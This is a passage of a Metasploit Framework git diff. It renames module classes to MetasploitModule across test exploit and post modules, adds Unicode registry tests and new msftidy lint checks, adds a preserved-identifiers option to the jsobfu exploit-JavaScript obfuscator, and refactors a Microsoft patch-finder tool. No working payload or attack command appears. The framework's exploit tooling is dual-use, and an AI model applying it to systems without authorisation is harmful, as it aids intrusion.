@@ -5,7 +5,7 @@
require 'msf/core'
-class Metasploit3 < Msf::Exploit::Remote
+class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::Dialup
diff --git a/test/modules/exploits/test/egghunter.rb b/test/modules/exploits/test/egghunter.rb
index 7c4ca444c6..6da35c4bcf 100644
--- a/test/modules/exploits/test/egghunter.rb
+++ b/test/modules/exploits/test/egghunter.rb
@@ -5,7 +5,7 @@
require 'msf/core'
-class Metasploit3 < Msf::Exploit::Remote
+class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::Tcp
diff --git a/test/modules/exploits/test/explib2_ie11_drop_exec_test_case.rb b/test/modules/exploits/test/explib2_ie11_drop_exec_test_case.rb
index dd92b9309c..8505eaa529 100644
--- a/test/modules/exploits/test/explib2_ie11_drop_exec_test_case.rb
+++ b/test/modules/exploits/test/explib2_ie11_drop_exec_test_case.rb
@@ -5,7 +5,7 @@
require 'msf/core'
-class Metasploit3 < Msf::Exploit::Remote
+class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
diff --git a/test/modules/exploits/test/explib2_ie11_exec_test_case.rb b/test/modules/exploits/test/explib2_ie11_exec_test_case.rb
index 9ac473a9c4..2715bd6a15 100644
--- a/test/modules/exploits/test/explib2_ie11_exec_test_case.rb
+++ b/test/modules/exploits/test/explib2_ie11_exec_test_case.rb
@@ -5,7 +5,7 @@
require 'msf/core'
-class Metasploit3 < Msf::Exploit::Remote
+class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
diff --git a/test/modules/exploits/test/exploitme.rb b/test/modules/exploits/test/exploitme.rb
index 7a728b1a1b..f07278feeb 100644
--- a/test/modules/exploits/test/exploitme.rb
+++ b/test/modules/exploits/test/exploitme.rb
@@ -5,7 +5,7 @@
require 'msf/core'
-class Metasploit3 < Msf::Exploit::Remote
+class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::Tcp
diff --git a/test/modules/exploits/test/java_tester.rb b/test/modules/exploits/test/java_tester.rb
index 654901ffc2..ae1602c66f 100644
--- a/test/modules/exploits/test/java_tester.rb
+++ b/test/modules/exploits/test/java_tester.rb
@@ -6,7 +6,7 @@
require 'msf/core'
require 'rex'
-class Metasploit3 < Msf::Exploit::Remote
+class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
def initialize( info = {} )
diff --git a/test/modules/exploits/test/js_tester.rb b/test/modules/exploits/test/js_tester.rb
index 3483c27d10..e264e61b45 100644
--- a/test/modules/exploits/test/js_tester.rb
+++ b/test/modules/exploits/test/js_tester.rb
@@ -1,6 +1,6 @@
require 'msf/core'
-class Metasploit3 < Msf::Exploit::Remote
+class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
diff --git a/test/modules/exploits/test/kernel.rb b/test/modules/exploits/test/kernel.rb
index 5ca63ed3a4..1848e44631 100644
--- a/test/modules/exploits/test/kernel.rb
+++ b/test/modules/exploits/test/kernel.rb
@@ -8,7 +8,7 @@ require 'msf/core'
#
# This is a test exploit for testing kernel-mode payloads.
#
-class Metasploit3 < Msf::Exploit::Remote
+class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::Udp
diff --git a/test/modules/exploits/test/shell.rb b/test/modules/exploits/test/shell.rb
index a961d3cbf8..237a48b484 100644
--- a/test/modules/exploits/test/shell.rb
+++ b/test/modules/exploits/test/shell.rb
@@ -5,7 +5,7 @@
require 'msf/core'
-class Metasploit3 < Msf::Exploit::Remote
+class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::Tcp
diff --git a/test/modules/post/test/extapi.rb b/test/modules/post/test/extapi.rb
index 3323bc8ad6..0b25fb123d 100644
--- a/test/modules/post/test/extapi.rb
+++ b/test/modules/post/test/extapi.rb
@@ -6,7 +6,7 @@ lib = File.join(Msf::Config.install_root, "test", "lib")
$:.push(lib) unless $:.include?(lib)
require 'module_test'
-class Metasploit4 < Msf::Post
+class MetasploitModule < Msf::Post
include Msf::ModuleTest::PostTest
diff --git a/test/modules/post/test/file.rb b/test/modules/post/test/file.rb
index 798b183b99..e38a99d1ac 100644
--- a/test/modules/post/test/file.rb
+++ b/test/modules/post/test/file.rb
@@ -8,7 +8,7 @@ require 'module_test'
#load 'lib/rex/text.rb'
#load 'lib/msf/core/post/file.rb'
-class Metasploit4 < Msf::Post
+class MetasploitModule < Msf::Post
include Msf::ModuleTest::PostTest
include Msf::Post::Common
diff --git a/test/modules/post/test/get_env.rb b/test/modules/post/test/get_env.rb
index 32dcb9376f..c70d61de96 100644
--- a/test/modules/post/test/get_env.rb
+++ b/test/modules/post/test/get_env.rb
@@ -7,7 +7,7 @@ require 'module_test'
#load 'lib/rex/text.rb'
#load 'lib/msf/core/post/common.rb'
-class Metasploit4 < Msf::Post
+class MetasploitModule < Msf::Post
include Msf::ModuleTest::PostTest
include Msf::Post::Common
diff --git a/test/modules/post/test/meterpreter.rb b/test/modules/post/test/meterpreter.rb
index 005725c3cc..a4a8d5c95e 100644
--- a/test/modules/post/test/meterpreter.rb
+++ b/test/modules/post/test/meterpreter.rb
@@ -6,7 +6,7 @@ lib = File.join(Msf::Config.install_root, "test", "lib")
$:.push(lib) unless $:.include?(lib)
require 'module_test'
-class Metasploit4 < Msf::Post
+class MetasploitModule < Msf::Post
include Msf::ModuleTest::PostTest
diff --git a/test/modules/post/test/railgun_reverse_lookups.rb b/test/modules/post/test/railgun_reverse_lookups.rb
index 7b2c1f6daa..be93bd2809 100644
--- a/test/modules/post/test/railgun_reverse_lookups.rb
+++ b/test/modules/post/test/railgun_reverse_lookups.rb
@@ -12,7 +12,7 @@ lib = File.join(Msf::Config.install_root, "test", "lib")
$:.push(lib) unless $:.include?(lib)
require 'module_test'
-class Metasploit3 < Msf::Post
+class MetasploitModule < Msf::Post
include Msf::ModuleTest::PostTest
include Msf::Post::Windows::Railgun
diff --git a/test/modules/post/test/registry.rb b/test/modules/post/test/registry.rb
index 89bf6415e6..cd1e9c4fce 100644
--- a/test/modules/post/test/registry.rb
+++ b/test/modules/post/test/registry.rb
@@ -12,7 +12,7 @@ lib = File.join(Msf::Config.install_root, "test", "lib")
$:.push(lib) unless $:.include?(lib)
require 'module_test'
-class Metasploit3 < Msf::Post
+class MetasploitModule < Msf::Post
include Msf::ModuleTest::PostTest
include Msf::Post::Windows::Registry
@@ -126,7 +126,6 @@ class Metasploit3 < Msf::Post
ret
end
-
it "should write REG_DWORD values" do
ret = true
registry_setvaldata(%q#HKCU\test_key#, "test_val_dword", 1234, "REG_DWORD")
@@ -154,6 +153,41 @@ class Metasploit3 < Msf::Post
ret
end
+ it "should create unicode keys" do
+ ret = registry_createkey(%q#HKCU\σονσλυσιονεμκυε#)
+ end
+
+ it "should write REG_SZ unicode values" do
+ ret = true
+ registry_setvaldata(%q#HKCU\σονσλυσιονεμκυε#, "test_val_str", "дэлььякатезшимя", "REG_SZ")
+ registry_setvaldata(%q#HKCU\σονσλυσιονεμκυε#, "test_val_dword", 1234, "REG_DWORD")
+ valinfo = registry_getvalinfo(%q#HKCU\σονσλυσιονεμκυε#, "test_val_str")
+ if (valinfo.nil?)
+ ret = false
+ else
+ # type == REG_SZ means string
+ ret &&= !!(valinfo["Type"] == 1)
+ ret &&= !!(valinfo["Data"].kind_of? String)
+ ret &&= !!(valinfo["Data"] == "дэлььякатезшимя")
+ end
+
+ ret
+ end
+
+
+ it "should delete unicode keys" do
+ ret = registry_deleteval(%q#HKCU\σονσλυσιονεμκυε#, "test_val_str")
+ valinfo = registry_getvalinfo(%q#HKCU\σονσλυσιονεμκυε#, "test_val_str")
+ # getvalinfo should return nil for a non-existent key
+ ret &&= (valinfo.nil?)
+ ret &&= registry_deletekey(%q#HKCU\σονσλυσιονεμκυε#)
+ # Deleting the key should delete all its values
+ valinfo = registry_getvalinfo(%q#HKCU\σονσλυσιονεμκυε#, "test_val_dword")
+ ret &&= (valinfo.nil?)
+
+ ret
+ end
+
end
end
diff --git a/test/modules/post/test/services.rb b/test/modules/post/test/services.rb
index d5c9c9dff5..0a4531f076 100644
--- a/test/modules/post/test/services.rb
+++ b/test/modules/post/test/services.rb
@@ -10,7 +10,7 @@ lib = File.join(Msf::Config.install_root, "test", "lib")
$:.push(lib) unless $:.include?(lib)
require 'module_test'
-class Metasploit3 < Msf::Post
+class MetasploitModule < Msf::Post
include Msf::Post::Windows::Services
include Msf::ModuleTest::PostTest
diff --git a/test/modules/post/test/unix.rb b/test/modules/post/test/unix.rb
index e862a388d8..95560225c1 100644
--- a/test/modules/post/test/unix.rb
+++ b/test/modules/post/test/unix.rb
@@ -9,7 +9,7 @@ require 'module_test'
#load 'lib/msf/core/post/linux/system.rb'
#load 'lib/msf/core/post/unix/enum_user_dirs.rb'
-class Metasploit4 < Msf::Post
+class MetasploitModule < Msf::Post
include Msf::ModuleTest::PostTest
include Msf::Post::Linux::System
diff --git a/tools/dev/find_release_notes.rb b/tools/dev/find_release_notes.rb
new file mode 100644
index 0000000000..fbd073a5ae
--- /dev/null
+++ b/tools/dev/find_release_notes.rb
@@ -0,0 +1,159 @@
+#!/usr/bin/env ruby
+
+require 'net/http'
+require 'nokogiri'
+require 'thread'
+
+module ReleaseNotesFinder
+ # This finds the release notes information based on either:
+ # 1. A PR number. In release notes, PR numbers are for bug fixes and notable changes.
+ # 2. A module short name. For example: ms08_067_netapi
+ class Client
+ attr_accessor :release_notes
+
+ RELEASE_NOTES_PAGE = 'https://community.rapid7.com/docs/DOC-2918'.freeze
+
+ def initialize
+ init_release_notes
+ @mutex = Mutex.new
+ end
+
+ def add_release_notes_entry(row)
+ td = row.search('td')
+ release_notes_link = td[0] && td[0].at('a') ? td[0].at('a').attributes['href'].value : ''
+ release_notes_num = td[0] && td[0].at('a') ? td[0].at('a').text.scan(/\d{10}/).flatten.first || '' : ''
+ highlights = td[1] ? (td[1].search('span') || []).map { |e| e.text } * " " : ''
+ update_link = td[2] && td[2].at('a') ? td[2].at('a').attributes['href'].value : ''
+
+ @release_notes << {
+ release_notes_link: release_notes_link,
+ release_notes_num: release_notes_num,
+ highlights: highlights,
+ update_link: update_link,
+ pull_requests: [],
+ new_modules: []
+ }
+ end
+
+ def init_release_notes
+ self.release_notes = []
+
+ html = send_http_request(RELEASE_NOTES_PAGE)
+ table_rows_pattern = 'div[@id="jive-body-main"]//div//section//div//div[@class="j-rte-table"]//table//tbody//tr'
+ rows = html.search(table_rows_pattern)
+ rows.each do |row|
+ add_release_notes_entry(row)
+ end
+ end
+
+ def update_pr_list(n, text)
+ pr_num, desc = text.scan(/#(\d+).\x20*(.+)/).flatten
+ return unless pr_num
+ n[:pull_requests] << { id: pr_num, description: desc }
+ end
+
+ def update_module_list(n, li)
+ li.search('a').each do |a|
+ next if a.attributes['href'].nil?
+ n[:new_modules] << { link: a.attributes['href'].value }
+ end
+ end
+
+ def update_release_notes_entry(n)
+ html = send_http_request(n[:release_notes_link])
+ pattern = '//div[@class="jive-rendered-content"]//ul//li'
+ html.search(pattern).each do |li|
+ @mutex.synchronize do
+ update_pr_list(n, li.text)
+ update_module_list(n, li)
+ end
+ end
+ end
+
+ def get_release_notes(input)
+ release_notes.each do |n|
+ if n[:pull_requests].empty?
+ update_release_notes_entry(n)
+ end
+
+ input_type = guess_input_type(input)
+
+ case input_type
+ when :pr
+ m = get_release_notes_from_pr(n, input)
+ when :module_name
+ m = get_release_notes_from_module_name(n, input)
+ end
+
+ return m if m
+ end
+
+ nil
+ end
+
+ def guess_input_type(input)
+ input =~ /^\d+/ ? :pr : :module_name
+ end
+
+ def get_release_notes_from_module_name(n, input)
+ n[:new_modules].each do |m|
+ return n if m[:link] && m[:link].include?(input)
+ end
+
+ nil
+ end
+
+ def get_release_notes_from_pr(n, pr)
+ n[:pull_requests].each do |p|
+ return n if p[:id] && pr == p[:id]
+ end
+
+ nil
+ end
+
+ def send_http_request(uri)
+ url = URI.parse(uri)
+ cli = Net::HTTP.new(url.host, url.port)
+ cli.use_ssl = true
+ req = Net::HTTP::Get.new(url.request_uri)
+ res = cli.request(req)
+ Nokogiri::HTML(res.body)
+ end
+ end
+end
+
+def main
+ inputs = []
+
+ ARGV.length.times { inputs << ARGV.shift }
+ puts "[*] Enumerating release notes..."
+ cli = ReleaseNotesFinder::Client.new
+ puts "[*] Finding release notes for items: #{inputs * ', '}"
+ threads = []
+ begin
+ inputs.each do |input|
+ t = Thread.new do
+ n = cli.get_release_notes(input)
+ puts "\n"
+
+ if n
+ puts "[*] Found release notes for: #{input}"
+ puts "Release Notes Number: #{n[:release_notes_num]}"
+ puts "Release Notes Link: #{n[:release_notes_link] || 'N/A'}"
+ puts "Update Link: #{n[:update_link] || 'N/A'}"
+ puts "Highlights:\n#{n[:highlights]}"
+ else
+ puts "[*] Unable to find release notes for: #{input}"
+ end
+ end
+ threads << t
+ end
+ threads.each { |t| t.join }
+ ensure
+ threads.each { |t| t.kill }
+ end
+end
+
+if __FILE__ == $PROGRAM_NAME
+ main
+end
diff --git a/tools/dev/msftidy.rb b/tools/dev/msftidy.rb
index 1f17891ccd..eb294cd2f0 100755
--- a/tools/dev/msftidy.rb
+++ b/tools/dev/msftidy.rb
@@ -65,6 +65,7 @@ class Msftidy
def initialize(source_file)
@full_filepath = source_file
+ @module_type = File.dirname(File.expand_path(@full_filepath))[/\/modules\/([^\/]+)/, 1]
@source = load_file(source_file)
@lines = @source.lines # returns an enumerator
@status = OK
@@ -464,13 +465,40 @@ class Msftidy
def check_bad_terms
# "Stack overflow" vs "Stack buffer overflow" - See explanation:
# http://blogs.technet.com/b/srd/archive/2009/01/28/stack-overflow-stack-exhaustion-not-the-same-as-stack-buffer-overflow.aspx
- if @source =~ /class Metasploit\d < Msf::Exploit::Remote/ and @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i
+ if @module_type == 'exploit' && @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i
warn('Contains "stack overflow" You mean "stack buffer overflow"?')
- elsif @source =~ /class Metasploit\d < Msf::Auxiliary/ and @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i
+ elsif @module_type == 'auxiliary' && @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i
warn('Contains "stack overflow" You mean "stack exhaustion"?')
end
end
+ def check_bad_super_class
+ # skip payloads, as they don't have a super class
+ return if @module_type == 'payloads'
+
+ # get the super class in an ugly way
+ unless (super_class = @source.scan(/class Metasploit(?:\d|Module)\s+<\s+(\S+)/).flatten.first)
+ error('Unable to determine super class')
+ return
+ end
+
+ prefix_super_map = {
+ 'auxiliary' => /^Msf::Auxiliary$/,
+ 'exploits' => /^Msf::Exploit(?:::Local|::Remote)?$/,
+ 'encoders' => /^(?:Msf|Rex)::Encoder/,
+ 'nops' => /^Msf::Nop$/,
+ 'post' => /^Msf::Post$/
+ }
+
+ if prefix_super_map.key?(@module_type)
+ unless super_class =~ prefix_super_map[@module_type]
+ error("Invalid super class for #{@module_type} module (found '#{super_class}', expected something like #{prefix_super_map[@module_type]}")
+ end
+ else
+ warn("Unexpected and potentially incorrect super class found ('#{super_class}')")
+ end
+ end
+
def check_function_basics
functions = @source.scan(/def (\w+)\(*(.+)\)*/)
@@ -481,6 +509,12 @@ class Msftidy
end
end
+ def check_bad_class_name
+ if @source =~ /^\s*class (Metasploit\d+)\s*
+ warn("Please use 'MetasploitModule' as the class name (you used #{Regexp.last_match(1)})")
+ end
+ end
+
def check_lines
url_ok = true
no_stdio = true
@@ -557,7 +591,7 @@ class Msftidy
end
# Auxiliary modules do not have a rank attribute
- if ln =~ /^\s*Rank\s*=\s*/ and @source =~ /<\sMsf::Auxiliary/
+ if ln =~ /^\s*Rank\s*=\s*/ && @module_type == 'auxiliary'
warn("Auxiliary modules have no 'Rank': #{ln}", idx)
end
@@ -652,6 +686,41 @@ class Msftidy
end
end
+ #
+ # Run all the msftidy checks.
+ #
+ def run_checks
+ check_mode
+ check_shebang
+ check_nokogiri
+ check_rubygems
+ check_ref_identifiers
+ check_old_keywords
+ check_verbose_option
+ check_badchars
+ check_extname
+ check_old_rubies
+ check_ranking
+ check_disclosure_date
+ check_title_casing
+ check_bad_terms
+ check_bad_super_class
+ check_bad_class_name
+ check_function_basics
+ check_lines
+ check_snake_case_filename
+ check_comment_splat
+ check_vuln_codes
+ check_vars_get
+ check_newline_eof
+ check_sock_get
+ check_udp_sock_get
+ check_invalid_url_scheme
+ check_print_debug
+ check_register_datastore_debug
+ check_use_datastore_debug
+ end
+
private
def load_file(file)
@@ -670,71 +739,37 @@ class Msftidy
end
end
-#
-# Run all the msftidy checks.
-#
-# @param full_filepath [String] The full file path to check
-# @return status [Integer] A status code suitable for use as an exit status
-def run_checks(full_filepath)
- tidy = Msftidy.new(full_filepath)
- tidy.check_mode
- tidy.check_shebang
- tidy.check_nokogiri
- tidy.check_rubygems
- tidy.check_ref_identifiers
- tidy.check_old_keywords
- tidy.check_verbose_option
- tidy.check_badchars
- tidy.check_extname
- tidy.check_old_rubies
- tidy.check_ranking
- tidy.check_disclosure_date
- tidy.check_title_casing
- tidy.check_bad_terms
- tidy.check_function_basics
- tidy.check_lines
- tidy.check_snake_case_filename
- tidy.check_comment_splat
- tidy.check_vuln_codes
- tidy.check_vars_get
- tidy.check_newline_eof
- tidy.check_sock_get
- tidy.check_udp_sock_get
- tidy.check_invalid_url_scheme
- tidy.check_print_debug
- tidy.check_register_datastore_debug
- tidy.check_use_datastore_debug
- return tidy
-end
-
##
#
# Main program
#
##
-dirs = ARGV
+if __FILE__ == $PROGRAM_NAME
+ dirs = ARGV
-@exit_status = 0
+ @exit_status = 0
-if dirs.length < 1
- $stderr.puts "Usage: #{File.basename(__FILE__)} "
- @exit_status = 1
- exit(@exit_status)
-end
-
-dirs.each do |dir|
- begin
- Find.find(dir) do |full_filepath|
- next if full_filepath =~ /\.git[\x5c\x2f]/
- next unless File.file? full_filepath
- next unless full_filepath =~ /\.rb$/
- msftidy = run_checks(full_filepath)
- @exit_status = msftidy.status if (msftidy.status > @exit_status.to_i)
- end
- rescue Errno::ENOENT
- $stderr.puts "#{File.basename(__FILE__)}: #{dir}: No such file or directory"
+ if dirs.length < 1
+ $stderr.puts "Usage: #{File.basename(__FILE__)} "
+ @exit_status = 1
+ exit(@exit_status)
end
-end
-exit(@exit_status.to_i)
+ dirs.each do |dir|
+ begin
+ Find.find(dir) do |full_filepath|
+ next if full_filepath =~ /\.git[\x5c\x2f]/
+ next unless File.file? full_filepath
+ next unless full_filepath =~ /\.rb$/
+ msftidy = Msftidy.new(full_filepath)
+ msftidy.run_checks
+ @exit_status = msftidy.status if (msftidy.status > @exit_status.to_i)
+ end
+ rescue Errno::ENOENT
+ $stderr.puts "#{File.basename(__FILE__)}: #{dir}: No such file or directory"
+ end
+ end
+
+ exit(@exit_status.to_i)
+end
diff --git a/tools/exploit/jsobfu.rb b/tools/exploit/jsobfu.rb
index e491dbc54e..d3417c1612 100755
--- a/tools/exploit/jsobfu.rb
+++ b/tools/exploit/jsobfu.rb
@@ -32,6 +32,10 @@ module Jsobfu
options[:output] = v
end
+ opt.on('-p', '--preserved-identifiers id1,id2', 'The identifiers to preserve') do |v|
+ options[:preserved_identifiers] = v.split(',')
+ end
+
opt.on_tail('-h', '--help', 'Show this message') do
$stdout.puts opt
exit
@@ -67,7 +71,10 @@ module Jsobfu
def run
original_js = read_js(@opts[:input])
js = ::Rex::Exploitation::JSObfu.new(original_js)
- js.obfuscate(:iterations=>@opts[:iteration].to_i)
+ obfu_opts = {}
+ obfu_opts.merge!(iterations: @opts[:iteration].to_i)
+ obfu_opts.merge!(preserved_identifiers: @opts[:preserved_identifiers] || [])
+ js.obfuscate(obfu_opts)
js = js.to_s
output_stream = $stdout
diff --git a/tools/exploit/msu_finder.rb b/tools/exploit/msu_finder.rb
index b6d510e1dc..5203a5b167 100755
--- a/tools/exploit/msu_finder.rb
+++ b/tools/exploit/msu_finder.rb
@@ -1,771 +1,108 @@
#!/usr/bin/env ruby
-###
-#
-# This sceript will enumerate download links for Microsoft patches.
-#
-# Author:
-# * sinn3r
-#
-###
-
-
-msfbase = __FILE__
-while File.symlink?(msfbase)
- msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
-end
-$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib')))
-require 'rex'
-require 'nokogiri'
-require 'uri'
-require 'json'
+require 'patch_finder/core/helper'
+require 'patch_finder/msu'
require 'optparse'
-module MicrosoftPatchFinder
+class PatchFinderBin
- module SiteInfo
- TECHNET = {
- ip: '157.56.148.23',
- vhost: 'technet.microsoft.com'
- }
+ include PatchFinder::Helper
- MICROSOFT = {
- ip: '104.72.230.162',
- vhost: 'www.microsoft.com'
- }
+ attr_reader :args
- GOOGLEAPIS = {
- ip: '74.125.28.95',
- vhost: 'www.googleapis.com'
- }
- end
+ def get_parsed_options
+ options = {}
- # This provides whatever other classes need.
- module Helper
+ parser = OptionParser.new do |opt|
+ opt.separator ''
+ opt.separator 'Specific options:'
- # Prints a debug message.
- #
- # @param msg [String] The message to print.
- # @return [void]
- def print_debug(msg='')
- $stderr.puts "[DEBUG] #{msg}"
- end
+ opt.on('-q', '--query ', 'Find advisories including this keyword') do |v|
+ options[:keyword] = v
+ end
- # Prints a status message.
- #
- # @param msg [String] The message to print.
- # @return [void]
- def print_status(msg='')
- $stderr.puts "[*] #{msg}"
- end
-
- # Prints an error message.
- #
- # @param msg [String] The message to print.
- # @return [void]
- def print_error(msg='')
- $stderr.puts "[ERROR] #{msg}"
- end
-
- # Prints a regular message.
- #
- # @param msg [String] The message to print.
- # @return pvoid
- def print_line(msg='')
- $stdout.puts msg
- end
-
- # Sends an HTTP request with Rex.
- #
- # @param rhost [Hash] Information about the target host. Use MicrosoftPatchFinder::SiteInfo.
- # @option rhost [String] :vhost
- # @option rhost [String] :ip IPv4 address
- # @param opts [Hash] Information about the Rex request.
- # @raise [RuntimeError] Failure to make a request.
- # @return [Rex::Proto::Http::Response]
- def send_http_request(rhost, opts={})
- res = nil
-
- opts.merge!({'vhost'=>rhost[:vhost]})
-
- print_debug("Requesting: #{opts['uri']}")
-
- cli = Rex::Proto::Http::Client.new(rhost[:ip], 443, {}, true, 'TLS1')
- tries = 1
- begin
- cli.connect
- req = cli.request_cgi(opts)
- res = cli.send_recv(req)
- rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
- if tries < 3
- print_error("Failed to make a request, but will try again in 5 seconds...")
- sleep(5)
- tries += 1
- retry
+ opt.on('-s', '--search-engine ', '(Optional) The type of search engine to use (Technet or Google). Default: Technet') do |v|
+ case v.to_s
+ when /^google$/i
+ options[:search_engine] = :google
+ when /^technet$/i
+ options[:search_engine] = :technet
else
- raise "[x] Unable to make a request: #{e.class} #{e.message}\n#{e.backtrace * "\n"}"
- end
- ensure
- cli.close
- end
-
- res
- end
- end
-
-
- # Collects MSU download links from Technet.
- class PatchLinkCollector
- include MicrosoftPatchFinder::Helper
-
- # Returns a response of an advisory page.
- #
- # @param msb [String] MSB number in this format: msxx-xxx
- # @return [Rex::Proto::Http::Response]
- def download_advisory(msb)
- send_http_request(SiteInfo::TECHNET, {
- 'uri' => "/en-us/library/security/#{msb}.aspx"
- })
- end
-
-
- # Returns the most appropriate pattern that could be used to parse and extract links from an advisory.
- #
- # @param n [Nokogiri::HTML::Document] The advisory page parsed by Nokogiri
- # @return [Hash]
- def get_appropriate_pattern(n)
- # These pattern checks need to be in this order.
- patterns = [
- # This works from MS14-001 until the most recent
- {
- check: '//div[@id="mainBody"]//div//h2//div//span[contains(text(), "Affected Software")]',
- pattern: '//div[@id="mainBody"]//div//div[@class="sectionblock"]//table//a'
- },
- # This works from ms03-040 until MS07-029
- {
- check: '//div[@id="mainBody"]//ul//li//a[contains(text(), "Download the update")]',
- pattern: '//div[@id="mainBody"]//ul//li//a[contains(text(), "Download the update")]'
- },
- # This works from sometime until ms03-039
- {
- check: '//div[@id="mainBody"]//div//div[@class="sectionblock"]//p//strong[contains(text(), "Download locations")]',
- pattern: '//div[@id="mainBody"]//div//div[@class="sectionblock"]//ul//li//a'
- },
- # This works from MS07-030 until MS13-106 (the last update in 2013)
- # The check is pretty short so if it kicks in too early, it tends to create false positives.
- # So it goes last.
- {
- check: '//div[@id="mainBody"]//p//strong[contains(text(), "Affected Software")]',
- pattern: '//div[@id="mainBody"]//table//a'
- },
- ]
-
- patterns.each do |pattern|
- if n.at_xpath(pattern[:check])
- return pattern[:pattern]
+ fail OptionParser::InvalidOption, "Invalid search engine: #{v}"
end
end
- nil
- end
-
-
- # Returns the details page for an advisory.
- #
- # @param res [Rex::Proto::Http::Response]
- # @return [Array] An array of URI objects.
- def get_details_aspx(res)
- links = []
-
- page = res.body
- n = ::Nokogiri::HTML(page)
-
- appropriate_pattern = get_appropriate_pattern(n)
-
- n.search(appropriate_pattern).each do |anchor|
- found_link = anchor.attributes['href'].value
- if /https:\/\/www\.microsoft\.com\/downloads\/details\.aspx\?familyid=/i === found_link
- begin
- links << URI(found_link)
- rescue ::URI::InvalidURIError
- print_error "Unable to parse URI: #{found_link}"
- end
- end
+ opt.on('-r', '--regex ', '(Optional) Specify what type of links you want') do |v|
+ options[:regex] = v
end
- links
- end
-
-
- # Returns the redirected page.
- #
- # @param rhost [Hash] From MicrosoftPatchFinder::SiteInfo
- # @param res [Rex::Proto::Http::Response]
- # @return [Rex::Proto::Http::Response]
- def follow_redirect(rhost, res)
- opts = {
- 'method' => 'GET',
- 'uri' => res.headers['Location']
- }
-
- send_http_request(rhost, opts)
- end
-
-
- # Returns the download page of an advisory.
- #
- # @param uri [URI::HTTP]
- # @return [Rex::Proto::Http::Response]
- def get_download_page(uri)
- opts = {
- 'method' => 'GET',
- 'uri' => uri.request_uri
- }
-
- res = send_http_request(SiteInfo::MICROSOFT, opts)
-
- if res.headers['Location']
- return follow_redirect(SiteInfo::MICROSOFT, res)
+ opt.on('--apikey ', '(Optional) Google API key.') do |v|
+ options[:google_api_key] = v
end
- res
- end
-
-
- # Returns a collection of found MSU download links from an advisory.
- #
- # @param page [String] The HTML page of the advisory.
- # @return [Array] An array of links
- def get_download_links(page)
- page = ::Nokogiri::HTML(page)
-
- relative_uri = page.search('a').select { |a|
- a.attributes['href'] && a.attributes['href'].value.include?('confirmation.aspx?id=')
- }.first
-
- return [] unless relative_uri
- relative_uri = relative_uri.attributes['href'].value
-
- absolute_uri = URI("https://www.microsoft.com/en-us/download/#{relative_uri}")
- opts = {
- 'method' => 'GET',
- 'uri' => absolute_uri.request_uri
- }
- res = send_http_request(SiteInfo::MICROSOFT, opts)
- n = ::Nokogiri::HTML(res.body)
-
- n.search('a').select { |a|
- a.attributes['href'] && a.attributes['href'].value.include?('http://download.microsoft.com/download/')
- }.map! { |a| a.attributes['href'].value }.uniq
- end
-
-
- # Returns whether the page is an advisory or not.
- #
- # @param res [Rex::Proto::Http::Response]
- # @return [Boolean] true if the page is an advisory, otherwise false.
- def has_advisory?(res)
- !res.body.include?('We are sorry. The page you requested cannot be found')
- end
-
-
- # Returns whether the number is in valid MSB format or not.
- #
- # @param msb [String] The number to check.
- # @return [Boolean] true if the number is in MSB format, otherwise false.
- def is_valid_msb?(msb)
- /^ms\d\d\-\d\d\d$/i === msb
- end
- end
-
-
- # A class that searches advisories from Technet.
- class TechnetMsbSearch
- include MicrosoftPatchFinder::Helper
-
- def initialize
- opts = {
- 'method' => 'GET',
- 'uri' => '/en-us/security/bulletin/dn602597.aspx'
- }
- res = send_http_request(SiteInfo::TECHNET, opts)
- @firstpage ||= res.body
- end
-
-
- # Returns a collection of found MSB numbers either from the product list, or generic search.
- #
- # @param keyword [String] The product to look for.
- # @return [Array]
- def find_msb_numbers(keyword)
- product_list_matches = get_product_dropdown_list.select { |p| Regexp.new(keyword) === p[:option_text] }
- if product_list_matches.empty?
- print_debug("Did not find a match from the product list, attempting a generic search")
- search_by_keyword(keyword)
- else
- product_names = []
- ids = []
- product_list_matches.each do |e|
- ids << e[:option_value]
- product_names << e[:option_text]
- end
- print_debug("Matches from the product list (#{product_names.length}): #{ product_names * ', ' }")
- search_by_product_ids(ids)
- end
- end
-
-
- # Returns the search results in JSON format.
- #
- # @param keyword [String] The keyword to search.
- # @return [Hash] JSON data.
- def search(keyword)
- opts = {
- 'method' => 'GET',
- 'uri' => '/security/bulletin/services/GetBulletins',
- 'vars_get' => {
- 'searchText' => keyword,
- 'sortField' => '0',
- 'sortOrder' => '1',
- 'currentPage' => '1',
- 'bulletinsPerPage' => '9999',
- 'locale' => 'en-us'
- }
- }
- res = send_http_request(SiteInfo::TECHNET, opts)
- begin
- return JSON.parse(res.body)
- rescue JSON::ParserError
+ opt.on('--cx ', '(Optional) Google search engine ID.') do |v|
+ options[:google_search_engine_id] = v
end
- {}
- end
+ opt.on('-d', '--dir ', '(Optional) The directory to save the patches') do |v|
+ unless File.directory?(v)
+ fail OptionParser::InvalidOption, "Directory not found: #{v}"
+ end
-
- # Performs a search based on product IDs
- #
- # @param ids [Array] An array of product IDs.
- # @return [Array] An array of found MSB numbers.
- def search_by_product_ids(ids)
- msb_numbers = []
-
- ids.each do |id|
- j = search(id)
- msb = j['b'].collect { |e| e['Id']}.map{ |e| e.downcase}
- msb_numbers.concat(msb)
+ options[:destdir] = v
end
- msb_numbers
- end
-
-
- # Performs a search based on a keyword
- #
- # @param keyword [String]
- # @return [Array] An array of found MSB numbers
